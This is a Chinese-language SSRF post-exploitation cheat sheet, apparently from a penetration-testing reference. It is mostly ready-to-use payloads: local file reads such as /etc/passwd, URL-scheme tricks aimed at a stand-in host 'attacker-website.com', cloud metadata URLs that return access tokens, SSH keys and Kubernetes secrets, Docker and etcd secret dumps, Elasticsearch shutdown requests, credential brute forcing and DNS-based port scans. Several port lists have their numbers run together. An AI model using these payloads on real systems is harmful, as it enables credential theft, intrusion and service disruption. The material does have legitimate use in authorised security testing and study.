后渗透利用

滥用 URL 方案

访问本地文件

您可以使用 file 方案来获取服务器上文件的内容:

file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd

制作 TCP 数据包

您可以使用 ldapgitdict URL 方案来创建到基于 TCP 的服务的明文连接。

$ curl -v dict://127.0.0.1:1337/HELLO
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
$ nc -l -v 1337
CLIENT libcurl 7.64.1
HELLO
QUIT

制作 UDP 数据包

您可以通过使用 TFTP 协议发送几乎任意的 UDP 数据包。

tftp://attacker-website.com:1337/TESTUDPPACKET
$ nc -l -v -u 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout6

这可用于制作对各种 UDP 服务的请求,如 Memcached。

Java 目录列表

Java 通过 file:// 方案列出目录,以下代码将打印目录列表:

URL url = new URL("file:///etc/");
String data = new String(IOUtils.toByteArray(url));
System.out.println(data);

参考:

泄露内部域名

当连接到 SMTP 时,内部域名可能会从第一行泄露。为此,连接到 http://127.0.0.1:25 或一些带有 SMTP 可用的内部 IP 地址 http://10.0.0.6:25,并从第一行获取内部域名:220 subdomain.internal-host.com ESMTP Sendmail

TLS 字段注入

TLS 允许您在服务器名称指示或会话 ID 等字段中走私任意数据。您可以使用此方法将 payload 传递到 http/基于文本的服务。

参考:

检索协议版本

您可以通过向您的服务器发送请求来枚举不同协议的版本。

ftp://attacker-website.com
sftp://attacker-website.com:1337
dict://attacker-website.com:1337
$ nc -v -l 1337
Connection from [12.234.12.234] port 1337 [tcp/*] accepted (family 2, sport 31337)
SSH-2.0-libssh2_0.1.2

滥用 Gopher

Gopher 是一种为分发、搜索和检索文档而设计的通信协议。Gopher 提供了广泛的滥用选项,参见更多

滥用云元数据

Amazon Web Services

不需要头部

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.170.2/v2/metadata
http://169.254.170.2/v2/stats
http://169.254.170.2/v2/credentials/

参考:

Google Cloud

在 API v1 上需要头部 Metadata-Flavor: GoogleX-Google-Metadata-Request: True v1beta1 服务器和 v0.1 元数据服务器端点已于 2020 年 9 月 30 日弃用

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Google 允许递归拉取
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=json
# SSH 公钥
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys?alt=json
# 访问令牌
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Kubernetes 密钥
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env?alt=json

参考:

Microsoft Azure

需要头部 Metadata: true

http://169.254.169.254/metadata/instance
http://169.254.169.254/metadata/instance?api-version=2018-10-01
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2018-10-01&format=text
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

DigitalOcean

不需要头部

http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Packet Cloud

不需要头部

https://metadata.packet.net/metadata

阿里云

不需要头部

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

OpenStack

不需要头部

http://169.254.169.254/openstack
http://169.254.169.254/openstack/2018-08-27/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json
http://169.254.169.254/openstack/2018-08-27/user_data
# EC2 兼容元数据
http://169.254.169.254/2009-04-04/meta-data/
http://169.254.169.254/2009-04-04/meta-data/public-keys/
http://169.254.169.254/2009-04-04/meta-data/public-keys/0/openssh-key

Oracle Cloud

不需要头部

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

http://169.254.169.254/opc/v1/instance/

Docker

Docker Engine API 通常在端口 23752376(tls)上可用。您可以使用以下路径来验证 Docker Engine API 的存在:

/v1.40/info
/v1.40/containers/json
/v1.40/secrets
/v1.40/services
# 使用不带版本前缀的 API 已弃用,将在未来版本中移除
/containers/json
/secrets
/services

与 dockerd 交互的简单示例(另请参见:守护进程套接字选项):

$ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Docker 注册表

Docker 注册表通常在端口 5000 上可用。Docker 注册表可以获取对存储在容器镜像中的敏感信息的读取权限和/或修改存储的容器镜像。

对于枚举仓库/镜像,请注意以下工具:

  • reg - Docker 注册表 v2 命令行客户端和仓库列表生成器,具有安全检查功能

  • regclient - Docker 和 OCI 注册表客户端,以及使用这些库的工具

  • go-pillage-registries - 面向渗透测试者的 Docker 注册表工具,用于枚举和拉取镜像

Kubernetes

# 调试服务 https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
# https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics

Kubernetes etcd API 可以包含 API 密钥、内部 IP 和端口:

$ curl -L http://127.0.0.1:2379/version
$ curl http://127.0.0.1:2379/v2/keys/?recursive=true

kubelet

kubelet 通常在默认端口 10250 上可用。

kubelet 只读

kubelet 只读通常在默认端口 10255 上可用。此端口通常只在较旧的集群上看到,但如果存在,可以提供一些有用的信息泄露。它是一个 HTTP API,没有加密且没有身份验证要求,因此很容易与之交互。

最有用的端点是 /pods/

$ curl http://[IP]:10255/pods/ | jq

滥用 FTP

凭证暴力破解

SSRF 允许您对使用基本访问认证作为认证机制的资源进行凭证暴力破解。为此,只需使用以下链接:

http://login:[email protected]/path/

使用异常响应枚举内部资源

有时在使用 SSRF 时,您可以依靠异常响应,如果请求执行的响应对您不可用。为此,您需要访问内部资源并测量每个请求的响应时间。响应时间是可能表示资源可用性的间接标志。发送大量请求后,您需要在其中搜索响应时间与其他所有请求不同的那些请求。这种方法允许您盲目暴力破解内部服务、开放端口、目录和文件。

端口扫描

您可以使用 http 方案进行端口扫描:

http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379

使用 DNS 进行端口扫描

许多库尝试按照 DNS 记录中的顺序通过 IP 访问资源。例如,如果 DNS 记录如下所示:

site.com 172.16.1.1
site.com 172.16.1.2

首先将尝试连接到 172.16.1.1,如果出现问题,则连接到 172.16.1.2。这允许您找出哪些端口是开放的,哪些不是。

为此,您也可以使用服务 http://1u.ms。例如,如果您需要查找 127.0.0.1 上的可用端口,您可以使用

make-127-0-0-1-and-123-123-123-123rr.1u.ms

这将允许您更改端口号以确定哪个端口可用。

http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:22 - 请求未到达 123.123.123.123:22
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:80 - 请求到达 123.123.123.123:80
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:6379 - 请求未到达 123.123.123.123:6379
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:8080 - 请求到达 123.123.123.123:8080

这表明端口 226379127.0.0.1 上是开放的,因为没有对来自第二个 DNS 记录的 IP 地址的连接尝试。

值得注意的是 DNS 服务器在后端解析名称。DNS 服务器可以使用内置的轮询算法来解析域名并更改记录顺序

ASP.NET

尝试读取 trace.axd,它保留对应用程序发出的所有 HTTP 请求的日志。此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息,甚至可能包括用户名和密码。

Apache Druid

Apache Druid 通常在端口 80808088888082 上可用。您可以使用以下路径来验证 Apache Druid 的存在:

/status
/status/health
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Apache Solr

Apache Solr 通常在端口 8983 上可用。

Apache Struts

Apache Struts 通常在端口 80443(tls)、80808443(tls)上可用。

Apache Tomcat

Apache Tomcat 通常在端口 80443(tls)、80808443(tls)上可用。

HashiCorp Consul

Consul 通常在端口 85008501(tls)上可用。

Elasticsearch

Elasticsearch 通常在端口 9200 上可用。您可以使用以下路径来验证 Elasticsearch 的存在:

/_cluster/health
/_cat/indices
/_cat/health

如果您可以发送 POST 请求,您可以尝试通过向以下路径发送 POST 请求来关闭 Elasticsearch 实例:

/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
# 从 Elasticsearch 版本 2.x 及更高版本中移除
/_shutdown

Java RMI

Java RMI 通常在端口 10901098109911994443-44468999-90109999 上可用。允许任意字节的 SSRF 漏洞可用于对 Java RMI 默认组件执行反序列化或代码库攻击。

JBoss

Jboss 通常在端口 80443(tls)、80808443(tls)上可用。

Jenkins

Jenkins 通常在端口 80443(tls)、80808888 上可用。

Memcache

Memcache 通常在端口 11211 上可用。

OpenTSDB

OpenTSDB 通常在端口 4242 上可用。

Oracle PeopleSoft

PeopleSoft 通常在端口 80443(tls)上可用。

Oracle WebLogic

WebLogic 通常在端口 80443(tls)和 7001 上可用。您可以尝试利用已知的漏洞:

Redis

Redis 通常在端口 6379 上可用。

远程调试器

参考

最后更新于